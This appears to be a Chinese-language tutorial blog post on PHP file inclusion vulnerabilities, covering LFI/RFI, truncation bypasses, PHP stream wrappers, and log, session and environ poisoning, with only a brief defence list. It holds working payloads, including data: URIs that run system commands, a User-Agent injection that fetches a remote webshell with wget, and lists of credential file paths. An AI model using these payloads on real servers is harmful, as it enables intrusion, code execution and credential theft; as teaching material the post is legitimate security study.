PHP文件包含总结


0x00 简介

什么是文件包含:

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

漏洞成因:

在包含文件时候,为了灵活包含文件,将被包含的文件设置为变量,且外部可控。如果这个可控变量在服务器端未作合理地校验或者能别绕过,就会导致文件包含漏洞。通常文件包含漏洞出现在php语言中。

0x01 相关函数

php有四个引发文件包含漏洞的函数:

include()
    当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时,给出警告,继续向下执行。
    
include_once()
    功能与include()相同,区别在于当重复调用统一文件时,程序只调用一次。
    
require()
    require()与include的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
    
require_once()
    功能与require()相同,区别在于当重复调用统一文件时,程序只调用一次。

简单来讲它们的区别就是:

require报错直接退出,include抛出警告继续执行。而xx_once,主要是用来避免函数重定义或变量重赋值等问题。

当利用这四个函数包含文件时,不管什么类型的文件,都会被当作php解析。

想要成功利用文件包含漏洞,需要满足两个条件:

  1. include等函数通过动态变量的方式引入需要包含的文件。

  2. 用户能够控制该动态变量。

除了这四个函数外,php中能对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行php代码,但能够读取敏感信息带来的后果也很严重。

fopen()
fread()
...

0x02 分类

LFI(本地文件包含)

例:

<?php
$file = $_GET['file'];
if(file_exists('E:/phpstudy_pro/include_test/'.$file.'.php')){
    include 'E:/phpstudy_pro/include_test/'.$file.'.php';
}
?>

这里是一个文件包含的实例代码,但是要解决一个后缀限制问题,我们可以采用00截断的方式绕过php后缀。

这里再重温一次00截断,PHP内核是由C实现的,因此使用了C语言中中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。

开始的时候并未截断成功,排查后,发现是php的 magic_quotes_gpc 未设置为OFF。

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括:post、get、cookie过来的数据增加转义字符 “\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

magic_quotes_gpc 打开,%00会被转义为\0两个单体字符,不再具有截断功能。

还需要注意的一点是php版本需要为5.3.4以下

image

有些程序过滤了\0字节

但是这样并没有完全解决问题,利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

Windows下256字节
Linux下4096字节

达到最大值,最大值长度之后的字符串将被丢弃。

可以采用以下方式构造长的目录:

./././././././././././abc
///////////////abc
../1/abc/../1/abc/../1/abc

上面的例子可以看到,我们使用了“../../”这样的方式来返回到上层目录中,这被称作目录遍历,还可以通过不同的编码方式来绕过一些服务器端逻辑。

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了 open_basedir 时,将很好地保护服务器,使得这种攻击无效。

open_basedir 的作用是限制在某个特定目录下PHP能打开的文件

RFI(远程文件包含)

条件较为苛刻:

需要在php.ini中进行配置

  1. allow_url_fopen=On

  2. allow_url_include=On

在php.ini中,allow_url_fopen 默认为On,而allow_url_include从php5.2之后就默认为Off了。

例:

<?php
if ($route == "share") {
    require_once $basePath.'/action/m_share.php';
}elseif ($route == "sharelinnk")
    
?>
image
payload:?file=[http|https|ftp]://websec.wordpress.com/shell.txt

0x03 包含姿势

测试代码

<?php
    $file=$_GET['file'];
    include $file;
?>

1) PHP伪协议

img

php://input

利用条件:allow_url_include=On

它是个可以访问请求的原始数据的只读流。(这里的原始数据指的是POST数据)

利用伪协议的这种性质,我们可以将LFI衍生为一个代码执行的漏洞。

还有一点,enctype="multipart/form-data"的时候 php://input 是无效的。

image

php://filter

利用条件:无特殊

这是我们常常使用的一个伪协议,在任意文件读取,甚至是getshell的时候都有利用的机会。

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用类似 readfile()file()file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。

其参数:

名称 描述
resource=<要过滤的数据流> 必须。指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<; 两个链的筛选列表> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链

例如:

image
index.php?file=php://filter/convert.base64-encode/resource=index.php

这段payload和上面效果一致的,少了read等关键字。在绕过一些waf时也许有用。

base64就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。

或者向磁盘写入文件

<?php
    /*这会通过 rot13 过滤器筛选出字符 "Hello World" 然后写入当前目录下的 example.txt*/
    file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

phar://

利用条件:php版本大于等于5.3.0

phar是一个文件归档的包,类似于java中的Jar文件,方便了php模块的迁移。

加入有个文件phpinfo.txt,其内容为 <?php phpinfo(); ?> ,打包成压缩包,如下:

首先用phar类打包一个phar标准包

<?php
$p = new PharData(dirname(__FILE__).'/test.zip',0,'test',Phar::ZIP);
$x=file_get_contents('./info.php');
$p->addFromString('a.jpg',$x);
?>

会生成一个zip的压缩文件,然后构造

?file=phar://test.zip/a.jpg
image

采用点:

当如我们前文例题,对包含的后缀名做了限制(include $file.'.php'),而又不能做00截断的时候,可以采用这种方法尝试,上传一个phar文件,再利用php伪协议包含。

zip://

利用条件:php版本大于等于5.3.0

这个和phar类似。

但是需要将 # 编码为 %23 ,之后写上压缩包内容。

image

data:URL schema

利用条件:

1、php版本大于等于5.2

2、allow_url_fopen=On

3、allow_url_include=On

payload:
127.0.0.1/test/LFI.php?file=data:text/plain,<?php phpinfo();?>
127.0.0.1/test/LFI.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
image

也可以用来读php文件源码或者命令执行

payload:
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
data:text/plain,<?php system(‘whoami’)?>
image

php伪协议常出现在ctf中,总结如下

img

2) 包含session

利用条件:session文件路径已知,且其中内容部分可控。条件较为苛刻

没有通用的方法

x|s:19:"<?php phpinfo(); ?>"

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

3) 包含日志

访问日志

利用条件:需要知道服务器日志的存储路径,且日志文件可读

很多时候,web服务器会将请求写到日志文件中,比如apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下保存在/var/log/apache2/。

image

直接在burpsuite中get地址写payload就行了,写浏览器里会有url编码的问题

常见的路径

/etc/httpd/logs/access_log
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认为/var/log/auth.log

ssh连接

ssh '<?php phpinfo(); ?>'@remotehost

4) 包含environ

利用条件:

1、Php以cgi方式运行,这样environ才会保持UA头

2、environ文件存储位置已知,且environ文件可读

检查proc/self/environ是否可访问

www.xxx.com/view.php?page=../../../../proc/self/environ

可访问则可以利用

在burpsuite改User-Agent

<?system('wget http://www.sss.com/oneword.txt -O shell.php');?>

5) 包含fd

类似environ

6) 包含临时文件

image

php中上传文件(以form-data),会创建临时文件。在Linux下使用/tmp目录,而在windows下时用c:\windows\temp目录。在临时文件被删除前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

7) 其余

一个web服务往往会用到多个其他服务,比如ftp服务,数据库等等。这些应用也会产生响应的文件,但这就需要具体问题具体分析了。

0x04 扩展

常见的敏感信息路径

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

0x05 防御方案

1、在很多场景都需要去包含web目录之外的文件,需要配置open_base

2、做好文件和目录的权限管理

3、对危险字符进行过滤

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,686评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,668评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,160评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,736评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,847评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,043评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,129评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,872评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,318评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,645评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,777评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,470评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,126评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,861评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,095评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,589评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,687评论 2 351